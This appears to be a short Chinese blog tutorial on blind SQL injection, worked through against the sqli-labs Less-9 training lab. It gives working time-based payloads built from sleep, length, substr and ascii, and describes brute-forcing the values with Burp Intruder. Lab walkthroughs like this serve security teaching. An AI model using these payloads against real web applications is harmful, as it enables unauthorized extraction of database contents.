盲注:盲注也是注入的一种,盲注一般分为布尔盲注和时间盲注。布尔盲注就是说页面的返回值只有两种, True 和 False。所以我们只能通过测试输入的注入语句为 Ture 或 False 来判断注入的效果,并通过这两种可能一步步得判断出数据库的信息。时间盲注是不管你在界面输入什么界面都不改变,只有通过时间睡眠来判断输入的对错
length() : 返回字符串的长度
substr() : 截取字符串,第一个参数字符串,第二个参数起始位(从1开始),第三个参数偏移量
ascii() : 返回字符的ascii码
http://192.168.0.107/sqli-labs/sqli-labs-master/Less-9/?id=1‘ and if((select length(database()))>7,sleep(5),1)--+
页面睡眠了5秒,所以可以推断数据库的长度是大于7的。再慢慢增大尝试,最终得到当前数据库长度为8。
http://192.168.0.107/sqli-labs/sqli-labs-master/Less-9/?id=1‘ and if((select length(database()))=7,sleep(2),1)--+
抓到包后,我们使用快捷键:Ctrl+I,此时测试器模块变成红色,我们点击进行爆破,先点击清除然后在7的前后添加符号
在测试器模块下的有效载荷类型选择数值,从1道100增量为1,然后点击开始攻击
开始攻击,成功爆出数据库长度为8
http://192.168.0.107/sqli-labs/sqli-labs-master/Less-9/?id=1‘ and if(ascii(substr((select database()),1,1))=0 ,sleep(2),1) --+
if表判断,ascii表示把查出来的转成ascii码,substr截取字符串第一个参数要截取的字符串,第二个参数起始位,第三个参数偏移量
爆出来了
原文:https://www.cnblogs.com/zhuifeng6/p/13045809.html